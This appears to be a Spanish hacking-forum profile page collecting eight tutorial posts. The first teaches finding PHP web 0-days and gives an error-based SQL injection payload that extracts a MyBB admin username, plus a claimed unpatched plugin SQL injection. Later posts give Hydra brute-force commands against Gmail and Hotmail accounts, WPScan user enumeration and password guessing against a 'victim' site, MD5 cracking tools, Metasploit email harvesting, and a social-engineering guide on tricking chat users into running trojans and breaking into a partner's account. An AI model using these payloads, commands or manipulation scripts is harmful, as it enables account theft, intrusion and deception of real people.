Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BTshell

#1

Esta vez, vamos a ver algo sobre 0-days, gracias a un amigo con el seudónimo Join7 del foro ZentrixPlus donde ha realizado un tutorial en la cual explica detalladamente como encontrar 0-days en aplicaciones webs.

Antes de empezar con el tutorial, es necesario contar con conocimientos básicos de PHP y MySQL como también sobre algunas vulnerabilidades comunes y la forma en que funcionan. Resaltar que no es necesario ser un programador profesional, solo basta con ser capaz de leer y entender PHP.

Si aun no cuenta con un pequeño conocimiento sobre PHP y necesita aprender lo básico para que pueda entender este tutorial, puede ingresar a los siguientes tutoriales:


Tutorial PHP:

   http://php.net/manual/en/tutorial.php

Tutorial MySQL:

   http://dev.mysql.com/doc/refman/5.0/en/tutorial.html

Vulnerabilidades:

   https://www.owasp.org/index.php/Category:Attack


1.- CREACIÓN DE UN ENTORNO DE AUDITORIA:

¿Por qué utilizar un entorno de Auditoria?

Simplemente se puede descargar el código que deseemos auditar, seguidamente se puede analizar el código utilizando un editor de texto en busca de vulnerabilidades.

Esto no es preferible, ya que hay una posibilidad muy alta de que falten cosas y seguramente tomará mucho más tiempo que mediante el uso de un entorno de Auditoria.

Web Server:

Queremos crear un servidor web donde podremos subir y probar las aplicaciones PHP, en estos casos se puede utilizar XAMPP o cualquier otro sistema que permita analizar estas aplicaciones localmente.

Es muy recomendable probar y analizar el posible código vulnerable en este servidor web (XAMPP) o en una red de confianza.

¿Que es lo que vamos a Auditar?

Ahora, cuando tenemos nuestro servidor creado tenemos que instalar cosas adicionales como WordPress, Joomla, MyBB o similares, dependiendo de lo realmente queremos auditar.

Si en estos casos vamos por un CMS independiente o simplemente una aplicación PHP que no, por supuesto, necesitamos algunos de los anteriores, pero es probable que en algún momento del tiempo pase a un blog de WordPress o un foro MyBB.

Seguidamente se mostraran los enlaces de descarga y alguna información sobre la forma de instalar algun CMS en particular:

MyBB

Descarga: http://www.mybb.com/downloads
Guía de Instalación: http://docs.mybb.com/Installing.html



WordPress

Descarga: http://wordpress.org/download/
Guía de Instalación: http://codex.wordpress.org/Installing_WordPress



Joomla

Descarga: http://www.joomla.org/download.html
Guía de Instalación: http://www.joomla.org/about-joomla/getting-started.html



SMF:

Descarga: http://download.simplemachines.org/
Guía de Instalación: http://wiki.simplemachines.org/smf/Installing



2.- LO QUE DEBEMOS BUSCAR:

User input:

La mayoría de vulnerabilidades son posibles porque el programador del archivo php olvida la validacion de entrada. Esto ocurre mayormente con las vulnerabilidades de SQL Injection, Cross-Site Scripting, File Inclusion, Server Side Include, Code Injection, File Upload y muchos mas.

---------------------------------------------------------------------------------------------
$_GET
Un array asociativo de variables pasadas al script actual a través de los parámetros de URL.
http://php.net/manual/en/reserved.variables.get.php

$_POST
Un array asociativo de variables pasadas al script actual mediante el método HTTP POST
http://php.net/manual/en/reserved.variables.post.php

$_REQUEST
Una matriz asociativa que contiene por defecto el contenido de $ _GET, $ _POST y $ _COOKIE.
http://php.net/manual/en/reserved.variables.request.php

$_COOKIE
Un array asociativo de variables pasadas al script actual a través de cookies HTTP.
http://php.net/manual/en/reserved.variables.cookies.php

$_SERVER
$ _SERVER - $ HTTP_SERVER_VARS [obsoleta] - Información del servidor y entorno de ejecución.
http://php.net/manual/en/reserved.variables.server.php

$_FILES
Una matriz asociativa de artículos subidos al script actual a través del método HTTP POST.
http://php.net/manual/en/reserved.variables.files.php
---------------------------------------------------------------------------------------------

Posibles Funciones Vulnerables:

Sql Injection:

Ejemplo Vulnerable:

---------------------------------------------------------------------------------------------
$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------

   mysql_*
   $db (Para MyBB, mira aquí para más información: http://docs.mybb.com/Plugins-Globals.html y http://docs.mybb.com/Database_Methods.html
   $wpdb (Para WordPress, mira aquí para más información: http://codex.wordpress.org/Class_Reference/wpdb


Existen un montón de posibilidades que las funciones de mysql sean vulnerables, para ello podemos echar un vistazo al siguiente link para obtener mas información sobre las funciones de MySql.

   http://se1.php.net/manual/en/ref.mysql.php


He aquí algunas funciones comunes que posiblemente sean vulnerables:

   mysql_db_query - Selecciona una base de datos y ejecuta una consulta sobre el mismo.
   mysql_fetch_array - Extrae la fila de resultado como una matriz asociativa, una matriz numérica o ambas.
   mysql_fetch_field - Obtener información de columna del resultado y regresar como un objeto.
   mysql_fetch_row - Devuelve una fila de resultado como una matriz enumerada.
   mysql_num_rows - Devuelve el número de filas en el resultado.
   mysql_result - Obtener datos de resultado.


File Inclusion:

Ejemplo Vulnerable:

---------------------------------------------------------------------------------------------
<?php

$file = $_GET['file'];
if(isset($file))
{
include("pages/$file");
}
else
{
include("index.php");
}
?>
---------------------------------------------------------------------------------------------

   include()
   require()


Si la aplicación no restringe cómo incluir archivos que puede leer archivos locales y posiblemente ejecutar archivos desde un servidor remoto (si allow_url_fopen está habilitado).

Upload:

---------------------------------------------------------------------------------------------
<?php
$target_path = "uploads/";
$target_path = $target_path . basename($_FILES['uploadedfile']['name']);
if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file " . basename($_FILES['uploadedfile']['name']) . " has been uploaded";
} else {
echo "There was an error uploading the file, please try again!";
}
?>
---------------------------------------------------------------------------------------------

   $_FILES


Si la aplicación no restringe como se cargan los archivos, en estos casos se puede cargar y ejecutar cualquier tipo de archivos.

Code Execution:

---------------------------------------------------------------------------------------------
<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>
---------------------------------------------------------------------------------------------

   passthru()
   system()
   eval()
   exec()



3.- HERRAMIENTAS ÚTILES, SCRIPTS Y TÉCNICAS:

Editores de Texto:

Sublime Text 2 es uno de los mejores Editores de Textos que existe, sus funcionalidades incluyen, pero no se limitan a destacar del sintaxis, la apertura de directorios como "Proyectos" (muy útil) y una función de búsqueda muy agradable.

Grep:

Grep es una utilidad de línea de comandos para la búsqueda de texto sin formato, para las líneas que coincidan con una expresión regular. Grep fue desarrollado originalmente para el sistema operativo Unix.

Grep es una herramienta muy útil cuando se trata de realizar auditorias hacia aplicaciones web. Supongamos que tenemos el siguiente código en app.php:

---------------------------------------------------------------------------------------------
<?php
$header = $_GET['header'];
if(isset($header))
{
include("headers/$header");
}
else
{
include("headers/standard.php");
}

$id = $_GET['id'];
$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
?>
---------------------------------------------------------------------------------------------

Podríamos usar una línea de comandos:
---------------------------------------------------------------------------------------------
$ grep _GET app.php
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
$header = $_GET['header'];
$id = $_GET['id'];
---------------------------------------------------------------------------------------------



Encontrar funciones mysql_*:
---------------------------------------------------------------------------------------------
grep include app.php
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
include("headers/$header");
include("headers/standard.php");
---------------------------------------------------------------------------------------------



Ahora digamos que tenemos 3 aplicaciones PHP en una carpeta y queremos buscar la función include en todas ellas, entonces podríamos hacer algo como esto:
---------------------------------------------------------------------------------------------
grep include *.php
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
app2.php: include("headers/$header");
app2.php: include("headers/standard.php");
app3.php: include("headers/$header");
app3.php: include("headers/standard.php");
app.php: include("headers/$header");
app.php: include("headers/standard.php");
---------------------------------------------------------------------------------------------



Si queremos dar salida al número de línea, puede utilizar el argumento -n de esta manera:
---------------------------------------------------------------------------------------------
grep include *.php -n
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
app2.php:5: include("headers/$header");
app2.php:9: include("headers/standard.php");
app3.php:5: include("headers/$header");
app3.php:9: include("headers/standard.php");
app.php:5: include("headers/$header");
app.php:9: include("headers/standard.php");
---------------------------------------------------------------------------------------------

Ahora queremos comprobar si las palabras 'SELECT' y 'FROM' se pueden encontrar:
---------------------------------------------------------------------------------------------
grep 'SELECT\|FROM' app.php -n
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------



Si queremos que coincida con una cadena e ignorar mayúsculas y minúsculas se utiliza el argumento -i:
---------------------------------------------------------------------------------------------
grep 'sEleCt\|FroM' app.php -n -i
---------------------------------------------------------------------------------------------

Salida:
---------------------------------------------------------------------------------------------
13:$news = mysql_query( "SELECT * FROM `news` WHERE `id` = $id ORDER BY `id` DESC LIMIT 0,3" );
---------------------------------------------------------------------------------------------



Algunas otras herramientas para auditar archivos php: http://www.hotscripts.com/blog/6-free-php-security-auditing-tools/

4.- AUDITORIA EN EL MUNDO REAL:

Vamos a echar un vistazo a un ejemplo del mundo real, un exploit público, y ver si podemos encontrar las vulnerabilidades:

MyBB DyMy User Agent SQL Injection:
http://www.exploit-db.com/exploits/23359/

Vamos a descargar la aplicación vulnerable y colocarlo en nuestra carpeta de plugins. Lo primero que debemos hacer es abrirlo en el Editor de texto:



Ahora vamos a empezar con un poco de búsqueda básica para posibles funciones vulnerables y cosas similares:
---------------------------------------------------------------------------------------------
grep "\$_GET" dymy_ua.php -i -n
grep "\$_GET" dymy_ua.php -i -n
grep "mysql_" dymy_ua.php -i -n
grep "include" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------

Salida:
Nada util.



¿Por qué no encontrar nada? ¿Estamos haciendo algo mal? La respuesta está en el código fuente, vamos a echar un vistazo:
---------------------------------------------------------------------------------------------
function dymy_ua_install()
{
global $db;

$db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
}
---------------------------------------------------------------------------------------------

Si alguna vez has visto el codigo fuente de los plug-in de MyBB, echa un vistazo a los siguientes documentos para obtener una mejor comprensión de lo que está mal aquí:

   http://docs.mybb.com/Plugins-Globals.html
   http://docs.mybb.com/Database_Methods.html


Así que cuando estemos auditando Plugins MyBB tenemos que cambiar nuestros métodos de auditoría un poco.

Vamos a buscar $db, ya que se utiliza en Plugins MyBB para las interacciones de bases de datos. Volvamos a la terminal y probar algunas cosas nuevas.
---------------------------------------------------------------------------------------------
grep "\$db" dymy_ua.php -i -n
---------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------------
56: global $db;
58: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts ADD `useragent` VARCHAR(255)");
63: global $db;
65: if($db->field_exists("useragent", "posts"))
75: global $db;
77: $db->delete_query("templategroups", "title='DyMy User Agent Templates'");
78: $db->write_query("ALTER TABLE ".TABLE_PREFIX."posts DROP `useragent`");
83: global $db;
85: $q = $db->simple_select("templategroups", "COUNT(*) as count", "title = 'DyMy User Agent'");
86: $c = $db->fetch_field($q, "count");
87: $db->free_result($q);
95: $db->insert_query("templategroups", $ins);
101: "template" => $db->escape_string(' <img src="images/useragent/os/{$os}.png" alt="{$os}" title="{$os_name}">'),
106: $db->insert_query("templates", $ins);
111: "template" => $db->escape_string(' <img src="images/useragent/browser/{$browser}.png" alt="{$browser}" title="{$browser_name}">'),
116: $db->insert_query("templates", $ins);
125: global $db;
127: $db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'");
------------------------------------------------------------------------------------------------------------------



Como esto no es mucho lo que podemos manipular, vamos a ir a 127 líneas y ver qué pasa:

------------------------------------------------------------------------------------------------------------------
function dymy_ua_deactivate()
{
global $db;

$db->delete_query("templates", "title IN('DyMyUserAgent_Postbit_OS', 'DyMyUserAgent_Postbit_Browser') AND sid='-2'"); // Line 27

require_once MYBB_ROOT."/inc/adminfunctions_templates.php";
find_replace_templatesets('postbit',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}')."#",'',0);
find_replace_templatesets('postbit_classic',"#".preg_quote('{$post[\'icon_browser\']}{$post[\'icon_os\']}</td>')."#",'</td>',0);
}

function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}

function dymy_ua_postbit(&$post)
{
global $templates;

if(isset($post['browser']) && isset($post['system']) && !empty($post['browser']) && !empty($post['system']) && empty($post['useragent']))
{
$os = str_ireplace("icon_", "", $post['system']);
$browser = str_ireplace("icon_", "", $post['browser']);
$browser = preg_replace("#^linux([a-z])#si", "$1", $browser);
}
...
------------------------------------------------------------------------------------------------------------------

En este nos damos cuenta de algo muy bonito, eche un vistazo a esto:

------------------------------------------------------------------------------------------------------------------
function dymy_ua_dh_post_insert(&$data)
{
$useragent = $_SERVER ? $_SERVER['HTTP_USER_AGENT'] : $HTTP_SERVER_VARS['HTTP_USER_AGENT'];
$data->post_insert_data['useragent'] = $useragent;
$data->post_update_data['useragent'] = $useragent;
}
------------------------------------------------------------------------------------------------------------------

Vemos aquí que la aplicación inserta el user_agent sin ningún tipo de desinfección. Vamos a encender nuestro foro MyBB en nuestro localhost y tratar de analizar estos datos.

Activar el plugin en tu panel de administración y luego ir a un hilo y despues usar el Live HTTP Headers.

Vamos a ver este lado de nuestro mensaje:



Así que ahora, vamos a tratar algunas pruebas básicas para ver si la vulnerabilidad de inyección SQL en realidad existe:




Ah, maravilloso! Ahora vamos a jugar un rato con él hasta que tengamos una consulta agradable para la inyección.

Después de algunas pruebas vamos a salir con esta consulta:

------------------------------------------------------------------------------------------------------------------
' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)B)); #
------------------------------------------------------------------------------------------------------------------



5.- NUEVO 0-DAY - MyFlags MyBB plugins SQL Injection:

La vulnerabilidad de inyección SQL que existe en MyBB Plugin HM_My Country Flags:

http://mods.mybb.com/view/hm-my-country-flags

Cuando este plugins se activa un usuario puede ir a su panel de control y ver esto:



Cada vez que el usuario vea su nacionalidad se mostrará junto a sus mensajes:



Abrimos Live HTTP Headers y pulsamos en el Pais, en las cabeceras HTTP Live copie la direccion URL (localhost/mybb/misc.php?action=hmflags&cnam=Belgium&pf=5') y pega esto en una nueva pestaña.

Ahora ponga un ' después el país:

http://localhost/mybb/misc.php?action=hmflags&cnam=Belgium'&pf=5

Salida:
------------------------------------------------------------------------------------------------------------------
MyBB has experienced an internal SQL error and cannot continue.

SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Belgium''' at line 1
Query:
SELECT * FROM mybb_users u LEFT JOIN mybb_usergroups g ON (u.usergroup=g.gid) LEFT JOIN mybb_userfields f ON (u.uid=f.ufid) WHERE fid5='Belgium''
------------------------------------------------------------------------------------------------------------------

Ajustar un poco y podrás averiguar que es unión basada con un montón de columnas:



Espero que haya disfrutado de este tutorial y pueda ayudarte a encontrar vulnerabilidades 0-days en aplicaciones webs.

CRÉDITOS:
Publicado en : http://btshell.wordpress.com/

Autor: Join7
Website: http://zentrixplus.net/
Este tutorial ha sido extraido del blog de mi amigo calebbucker miembro de la comunidad cl-security: http://calebbucker.blogspot.com.es/
#2
Seguridad / Ingeniería Social
27 Enero 2013, 12:11 PM
Ingeniería Social

Introducción

"Usted puede tener la mejor tecnología, firewalls, sistemas de detección de ataques, dispositivos biométricos, etc. Lo único que se necesita es una llamada a un empleado desprevenido e ingresan sin más. Tienen todo en sus manos." Kevin Mitnick.

¿Qué es la ingeniería social?
Bajo el nombre de Ingeniería Social (literalmente traducido del inglés Social Engineering) ACCIONES O CONDUCTAS útiles para conseguir información de las personas cercanas a un sistema.

Es una disciplina que consiste, ni más ni menos en sacar información a otra persona sin que esta sé de cuenta de que te esta revelando "información sensible".

Con este curioso término se engloba una serie de tretas, artimañas y engaños elaborados cuyo fin es confundir al usuario o, peor todavía, lograr que comprometa seriamente la seguridad de sus sistemas.
Aprovecha sentimientos tan variados como curiosidad, la avaricia, el sexo, la compasión o el miedo, de esta forma se consigue el objetivo, una acción por parte del usuario.



El factor humano
•En el congreso "Access All Areas" de 1997, un conferenciante aseguraba:

"Aunque se dice que el único ordenador seguro es el que está desenchufado,
los amantes de la ingeniería social gustan responder que siempre se puede convencer a alguien para que lo enchufe.

El factor humano es el eslabón más débil de la seguridad informática. Y no hay un sólo ordenador en el mundo que no dependa de un ser humano, es una vulnerabilidad universal e independiente de la plataforma tecnológica".

Ingeniería social en los 80
•La gente era más inocente
•Las contraseñas más débiles
•Los sistemas más vulnerables
•Las leyes menos rigurosas

Ingeniería social en nuestros tiempos
•CASO 1:Practicando en casa
CHAT-IRC-CANAL-LESBIANAS-Objetivo-conseguir videoconferencia con una lesbiana.
Materiales: Capturadora de video, Ingeniería social, webcam

•Caso 2: Seguir jugando:
Nos damos de alta una cuenta en hotmail, con nombre de chica
Creamos un perfil curioso
Entramos a los chats y damos nuestro mail
Somos la típica niña que recién se compró el ordenador y necesita
Ayuda (damos confianza, y aumentamos el ego de la victima
al ponerlo en el papel de nustro salvador, si le añadimos dulces
piropos y besos virtuales, en cuestión de tendremos lo que
buscamos, o estaremos en condiciones de
enviarle un troyano que nos abra de par en par su ordenador, una vez
conocido su sistema.



•Ética ??
* Recomendado leer "El gran Juego"
Justificaciones:
El espía y el detective>>> es su trabajo.
El gobierno >>>> por la seguridad de la nación.
El timador >>>> su medio de vida (la pasta)
El hacker >>>> curiosidad?!!!

•Ordenando la información:
Al igual que al preparar un ataque a un sistema informático.Versión, bug, etc.

Vamos elaborando una lista, sobre nuestro objetivo.

Gustos, vicios, marca de cigarrillos, matrícula del coche, modelo, móvil, DNI, nombre de los hijos, de la mujer, de la novia, figuras principales de en su vida, se elabora un perfil psicológico de la persona.

Fuente: Internet, basura, amigos, familiares, buscar siempre las personas mayores, abuelas, o niños, hijos, hermanos, etc.

Preparando la estrategia
•Todo objetivo se vale de una estrategia para lograrlo. Ese es el fin mismo de la estrategia.
•Antes debemos:
SABER, QUERER Y PODER hacerlo.

La ingeniería social por excelencia
•Ahora estamos preparados para poner la trampa. Conocemos todo de nuestra víctima, y podemos predecir como actuará frente a determinados estímulos.
•Conocemos sus gustos sus deseos, y es fácil llevarlo por una conversación telefónica a donde queremos.

•¿Hola, Raúl Pérez Padilla?
•Le hablamos del servicio de marketing de TUFONICA, estamos ofreciendo una promoción especial a nuestros mejores clientes. Consiste en que las llamadas a un número fijo nacional de su elección, serán gratis durante un año sin tener que pagar nada.
•Por favor, para poder hacer esto posible necesitamos que nos confirme una serie de datos....
•-.......

•Mi experiencia como comercial deAUNA CABLE o INSTALADOR ADSL
¿Que logramos con esto?
Entrar a una casa, nuestra víctima quizás.
EJEMPLO: Llamada a nuestro móvil, nuestro jefe, necesitamos enviar un dato urgente, no nos dejaría el ordenador para enviarlo?



IS COMO PIEZA DE UN PUZZLE MORTAL
Mezclar la IS con la tecnología hace que el conjunto en sí, sea
un arma mortal, crear un keylog, o un troyano en VB, o C++,
No requiere un gran esfuerzo, incluso el control total de Pelé, tardó tiempo en ser reconocido por los principales antivirus.

CD de regalos, archivos adjuntos, echar imaginación.
Quién no compraría el último Cd de nuestro cantante favorito
Por 1€a un tio que monto una manta en la puerta de nuestra casa, como caído del cielo. ???

•Pistas:
Si nos hacemos pasar por técnicos, hablar en lenguaje técnico, la gente suele no entender nada y decirnos siempre que si.
Encuestas inocentes a los familiares de las victimas, edades, nombres, etc. (Hacer unas cuantas para tener soltura).
Oferta increíble enviaremos la ampliación por mail (ahí introducimos el troyano). Es un mail esperado, lo abrirá seguro.



•Si analizamos el problema, vemos que lo que queremos es una cuenta en concreto.
•Si es de nuestra novia/o (esta tirado), un compañero o amigo, virtual o no (tirado también), de una persona por encargo.(Requiere un proceso fino de ingeniera social, objetivo, un keylog, y acceder 2 veces al ordenador) por ejemplo.
ÉTICA? >>VIOLACIÓN DE LA PRIVACIDAD?>>> ????

Links de formas de hackear hotmail.
http://usuarios.lycos.es/unsafebytes/hackearhotmail.htm
http://www.comunidadcmx.com/index.php



Conclusiones:
La ingeniería social NUNCA PASARÁ DE MODA.
Es un arte, el arte que deja la ética de ladoEl ingrediente necesario detrás de todo gran ataque.

Tu red tiene firewall?. .Tiene antivirus???Tus administradores estan entrenados para hablarcon hackers y detectar sus intentos de ingenieríasocial?

Y María la de la limpieza?
¿Ella también está preparada...?


Contramedidas
La mejor manera de esta protegido pasa por el conocimiento.
•Educar a las personas, en concreto a las personas que trabajan cerca de las terminales, desde los operarios, hasta personal de limpieza.
•Analizar con antivirus todo los correos que reciban
•No informar telefónicamente de las características técnicas de la red, ni nombre de personal a cargo, etc.
•Control de acceso físico al sitio donde se encuentra los ordenadores.
•Políticas de seguridad a nivel de Sistema Operativo.


Fuente:  Adrián Ramírez Expuesto en http://btshell.wordpress.com
Eso es todo.
#3
Seguridad / Crackear MD5 por fuerza bruta
26 Enero 2013, 11:38 AM
Hola a todos, hoy os traigo un programa hecho por BECKS. También mencionar que este programa lo he sacado de la comunidad cl-security.

Este programa se utiliza para realizar ataques de fuerza bruta con diccionarios una vez los desencriptadores online de MD5 fallan y no nos da la contraseña.

Su uso es bastante sencillo y trae consigo un generador de diccionarios para generar los diccionarios a nuestro antojo o necesidades.

sin más os dejo las imagenes y el enlace de descarga del mismo.









Descarga: NO DISPONIBLE El link lo he guardado.
contraseña: gracias_BTshell

ESO ES TODO.

Modificado por r32:
No es todo... porqué modificas el ejecutable original, cambiandole icono  :huh:, lo bloqueas  :huh: para que, con modificar la extensión .ex_ ya puedes ver "entre comillas" lo que quieras.

Esperemos no haga conexiones, ya hablaremos BTshell.

Crees que le hará gracia a Destroyer ???
#4
Hola, vamos a ver como crackear las contraseñas de gmail o hotmail por fuerza bruta utilizando hydra gtk.

Lo 1º que haremos será iniciar el hydra gtk y para este caso vamos a crackear la contraseña de un correo de gmail.

A continucación marcamos las casillas tal como sale en la imagen de abajo y pondremos el servidor de gmail, en este caso es smtp.gmail.com y el puerto 465: ver imagen.



Ahora vamos a definir el correo que queremos crackear por lo que pulsaremos en la pestaña password y rellenaremos los datos como en la imagen pero sustituyendo el email por el nuestro y marcando la ruta donde tenemos nuestro diccionario y marcando la casilla que veis en el recuadro rojo de la image.



Ahora pulsaremos en la pestaña start y posteriormente en la pestaña start de la parte de abajo: Ver imagen.



Como podemos observar ya el hydra gtk ha empezado a trabajar y esta crackeando la pass y como podemos ver ya nos la ha sacado, por cierto para aquellos que digan que te pide una cacha a los 10 intentos, podeis ver que la pass la ha sacado al intento nº 33 y no se ha bloqueado la operación.: ver imagen.



Ahora lo vamos hacer utilizando hydra desde la consola, para ello abrimos un terminal y pondremos lo siguiente: hydra -s 465 -S -v -V -l btshellinux@gmail.com -P /root/Desktop/dic.txt -e s -f -t 16 smtp.live.com smtp  recordar cambiar el email por el vuestro. ver imagen.



Como veis ya nos tiró la pass y gmail no nos ha bloqueado los intentos. ver imagen.



Eso es todo.
#5
Seguridad / Hackear Hotmail con Hydra
13 Enero 2013, 19:06 PM
Pues despues de ver como Gmail accepta los ataques de brute force, he curioseado a ver si podría con hotmail y para mi sorpresa es que también:  Ver imagen de la prueba que he realizado.



Si nos fijamos el ataque no para hasta sacar la pass.

¿que opinais?

Fuente: http://btshell.wordpress.com/
#6
Hola, voy a mostraros como descifrar una contraseña que esté en MD5. (Esto solo serà posible si la contraseña está en alguna de las bases de datos consultadas en este script)

Lo 1º será descargarnos el archivo, aquí teneis el enlace: http://www.mediafire.com/?25tv01mw46vgs23

Ahora procederemos a ejecutarlo desde el directorio donde lo tengamos guardado, en mi caso está en el escritorio.

Sería así:  perl md5BTshell.pl 5d3d327c8ca6ac4118fda3b47b5c00aa  ver imagen:



Bien una vez hecho esto le damos a enter y el programa empezara a trabajar como
podemos observar en la siguiente imagen.



Como podemos ver ya la ha descifrado, también deciros que el codigo es libre, por lo que con un
poco de ingénio podemos ir añadiendo más desencriptadores online, de esa forma habrá más posibilidades de descifrarla.

esta es la lista de desencriptadores que hay en el codigo.pl

md5decrypter.com
nd
md5.thekaine.de
nz.md5.crysm.n
tydal.nu  
milw0rm.com
SPAM(103)
csthis.com
md5pass.info    
md5.hashcracking.com
md5decryption.com
md5.xpzone.de  
us.md5.crysm.net  
hashreverse.com
neeao.com  
hashchecker.com
plain-text.info  
victorov.su    
securitystats.com
md5crack.it-helpnet


bien, eso es todo, dudas o sugerencias aquí en el foro.
#7
HOLA A TODOS, VOY A MOSTRAROS COMO INTENTAR PENETRAR UNA WEB O BLOG BASADOS EN WORDPRESS.

LO 1º SERIA ABRIR UN TERMINAL Y IR  DONDE SE ENCUENTRA WPSCAN DE ESTA MANERA.

cd /pentest/web/wpscan



AHORA UNA VEZ EN EL SITIO, LO QUE VAMOS HACER ES SACAR LOS NOMBRES DE USUARIOS DE ESA WEB O BLOG, PARA ESO ESCRIBIREMOS EN NUESTRA TERMINAL LO SIGUIENTE:

ruby wpscan.rb --url www.victima.com --enumerat u



AHORA NOS PREGUNTARA SI QUEREMOS ACTUALIZAR Y LE DIREMOS QUE NO MARCANDO LA LETRA N Y DANDOLE A ENTER Y ACTO SEGUIDO ESPERAREMOS A QUE NOS TIRE LOS NOMBRES DE USUARIO DE ADMINISTRACIÓN:



COMO VEMOS EN LA IMAGEN ANTERIOR YA NOS LO HA TIRADO.

AHORA PROCEDEREMOS A HACER EL ATAQUE DE FUERZA BRUTA PARA INTENTAR SACAR LA PASSWORD, YA SABEMOS QUE EL EXITO DEL ATAQUE DEPENDERA DEL DICCIONARIO QUE USEMOS, YA OS ENSEÑE EN EL POST ANTERIOR COMO CREAR UN DICCIONARIO.

PARA EMPEZAR EL ATQUE PONDREMOS LOS SIGUIENTE:

ruby wpscan.rb --url www.victima.com --wordlist nuestrodiccionario.txt --username elquehemossacado



Y EN ESTOS MOMENTOS NOS VOLVERA A PREGUNTAR SI QUEREMOS ACTUALIZAR Y LE VOLVEREMOS A DECIR QUE NO MARCANDO LA N Y DANDOLE A ENTER, PORQUE SI LE DECIMOS QUE SI SE PARÁ TODA LA OPERACIÓN.



Y AUTOMATICAMENTE EMPEZARA EL ATAQUE DE FUERZA BRUTA, EN LA SIGUIENTE IMAGEN VEREMOS COMO ESTARÍA TRABAJANDO EN EL ATAQUE YA SOLO SERÍA ESPERAR A TENER EXITO CON NUESTRO DICCIONARIO Y ESPERAR A QUE NOS DE LA PASS.



PUES BIEN, ESO ES TODO, SI TENEIS DUDAS O SUGERENCIAS DEJARLAS AQUÍ EN EL FORO.

A CONTINUCACIÓN OS DEJO EL ENLACE DE LA DESCARGA EN PDF PARA EL QUE LO QUIERA: http://www.mediafire.com/view/?s961ga60fuvlsdh




#8
Seguridad / Extraer e-mails de dominio.
5 Enero 2013, 15:18 PM
Hola, hoy voy a mostraros como extraer todos los correos electrónicos relacionados con un dominio utilizando metasploit, ya que en muchas ocasiones el email es el nombre de usuario bien para un foro o una web, incluso un ftp.

Lo primero será abrir un terminal y poner lo siguiente:
Msfconsole ( y esperamos a que se abra metasploit). Ver imagen.



Como podremos observar en la siguiente imagen ya se ha ejecutado la metasploit



Ahora pondremos el siguiente comando y lo ejecutaremos pulsando enter: use gather/search_email_collector ver imagen.



A continuación pondremos el siguiente comando y daremos a enter, de este modo le vamos a decir que busque todos los email con relación al dominio que queremos, yo lo he hecho con hackxcrack. Set DOMAIN hackxcrack.es ver imagen:



Y por ultimo para ejecutar el exploit ponemos run y le damos a enter, ver imagen:



Como podemos observar en la imagen de abajo, el exploit se a ejecutado y a extraido los email del sitio web, de esa forma ya tenemos varios posibles nombres de usuario.



Como siempre os dejo el tutorial en pdf para la descarga: http://www.mediafire.com/view/?gkjqqwcng9gyci0

Dudas y sugerencias en el foro,  ;)

Pues bien, eso es todo.